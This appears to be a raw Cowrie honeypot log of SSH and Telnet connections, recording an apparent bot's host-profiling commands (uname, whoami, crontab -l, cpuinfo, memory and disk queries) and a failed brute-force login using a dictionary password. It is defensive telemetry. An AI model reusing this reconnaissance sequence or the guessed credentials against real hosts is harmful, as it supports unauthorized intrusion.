{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:03.858041Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:04.276737Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:04.281909Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60948,"dst_ip":"10.17.0.5","dst_port":23,"session":"55c038a731a5","protocol":"telnet","message":"New connection: 188.208.141.113:60948 (10.17.0.5:23) [session: 55c038a731a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:04.329889Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:04.472795Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:04.888911Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:04.893871Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:04.907557Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.430964946746826,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:04.972006Z","src_ip":"188.208.141.113","session":"95b007ec70eb","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:05.102894Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:05.552711Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:05.558048Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:05.752245Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:06.182615Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:06.186977Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:06.386337Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.063389778137207,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:06.393135Z","src_ip":"188.208.141.113","session":"55c038a731a5","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:06.841662Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:06.846050Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:07.034920Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:07.461036Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:07.465010Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:07.654352Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:08.102223Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:08.106852Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:08.300911Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:08.729234Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:08.732504Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:08.919237Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:09.335960Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:09.339819Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:09.529226Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:09.941597Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:09.945644Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:10.132987Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:10.546335Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:10.551143Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:10.741059Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:11.150824Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:11.154662Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:11.344288Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.8","message":"Connection lost after 16.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:11.349761Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.373473167419434,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:12.101766Z","src_ip":"188.208.141.113","session":"4137c5abb202","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":42694,"dst_ip":"159.203.135.109","dst_port":23,"session":"de30ac737a5e","protocol":"telnet","message":"New connection: 64.227.9.242:42694 (159.203.135.109:23) [session: de30ac737a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:12.553802Z"}
{"eventid":"cowrie.session.closed","duration":35.875144481658936,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:14.325886Z","src_ip":"64.227.9.242","session":"0c4be0f8f0d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":44866,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf7f126abdd5","protocol":"telnet","message":"New connection: 64.227.9.242:44866 (159.203.135.109:23) [session: bf7f126abdd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:14.362258Z"}
{"eventid":"cowrie.session.closed","duration":42.373411893844604,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:15.541077Z","src_ip":"188.208.141.113","session":"a0ee21db493c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.75377082824707,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:16.172124Z","src_ip":"64.227.9.242","session":"2f2471b71058","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39026,"dst_ip":"10.17.0.5","dst_port":23,"session":"12bf336777d1","protocol":"telnet","message":"New connection: 188.208.141.113:39026 (10.17.0.5:23) [session: 12bf336777d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:16.208041Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":51708,"dst_ip":"159.203.135.109","dst_port":23,"session":"e868046eb85e","protocol":"telnet","message":"New connection: 64.227.9.242:51708 (159.203.135.109:23) [session: e868046eb85e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:19.560785Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41572,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1fe2882d040","protocol":"telnet","message":"New connection: 188.208.141.113:41572 (10.17.0.5:23) [session: d1fe2882d040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:21.107668Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41578,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4afa48fb7b5","protocol":"telnet","message":"New connection: 188.208.141.113:41578 (10.17.0.5:23) [session: b4afa48fb7b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:22.453585Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41584,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbe77c8f9668","protocol":"telnet","message":"New connection: 188.208.141.113:41584 (10.17.0.5:23) [session: cbe77c8f9668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:22.693982Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58136,"dst_ip":"159.203.135.109","dst_port":23,"session":"4270a57a1612","protocol":"telnet","message":"New connection: 64.227.9.242:58136 (159.203.135.109:23) [session: 4270a57a1612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:25.162151Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58594,"dst_ip":"159.203.135.109","dst_port":23,"session":"da287b24bf2d","protocol":"telnet","message":"New connection: 64.227.9.242:58594 (159.203.135.109:23) [session: da287b24bf2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:25.514281Z"}
{"eventid":"cowrie.session.closed","duration":47.411349296569824,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:25.665086Z","src_ip":"188.208.141.113","session":"0c07ab7dcb1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":59666,"dst_ip":"159.203.135.109","dst_port":23,"session":"24af61993fba","protocol":"telnet","message":"New connection: 64.227.9.242:59666 (159.203.135.109:23) [session: 24af61993fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:26.258607Z"}
{"eventid":"cowrie.session.closed","duration":4.811363220214844,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:27.264806Z","src_ip":"188.208.141.113","session":"b4afa48fb7b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":37398,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a8e4295ad1b","protocol":"ssh","message":"New connection: 112.217.199.222:37398 (10.17.0.5:22) [session: 8a8e4295ad1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:32.948708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:32.954081Z","src_ip":"112.217.199.222","session":"8a8e4295ad1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:33.158147Z","src_ip":"112.217.199.222","session":"8a8e4295ad1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123qweASD","message":"login attempt [test/123qweASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:33.999647Z","src_ip":"112.217.199.222","session":"8a8e4295ad1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.25370931625366,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:34.651381Z","src_ip":"64.227.9.242","session":"b9a2fb413b21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:35.206517Z","src_ip":"112.217.199.222","session":"8a8e4295ad1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":44564,"dst_ip":"159.203.135.109","dst_port":23,"session":"f97553a97f8b","protocol":"telnet","message":"New connection: 64.227.9.242:44564 (159.203.135.109:23) [session: f97553a97f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:37.372565Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40116,"dst_ip":"10.17.0.5","dst_port":23,"session":"f837139ff940","protocol":"telnet","message":"New connection: 188.208.141.113:40116 (10.17.0.5:23) [session: f837139ff940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:44.432855Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":55408,"dst_ip":"159.203.135.109","dst_port":23,"session":"7357a540fdaf","protocol":"telnet","message":"New connection: 64.227.9.242:55408 (159.203.135.109:23) [session: 7357a540fdaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:44.509907Z"}
{"eventid":"cowrie.session.closed","duration":50.368947982788086,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:45.583626Z","src_ip":"188.208.141.113","session":"970492f671a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40124,"dst_ip":"10.17.0.5","dst_port":23,"session":"19a786c0ee68","protocol":"telnet","message":"New connection: 188.208.141.113:40124 (10.17.0.5:23) [session: 19a786c0ee68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:47.676068Z"}
{"eventid":"cowrie.session.closed","duration":35.93855118751526,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:48.492278Z","src_ip":"64.227.9.242","session":"de30ac737a5e","protocol":"telnet"}
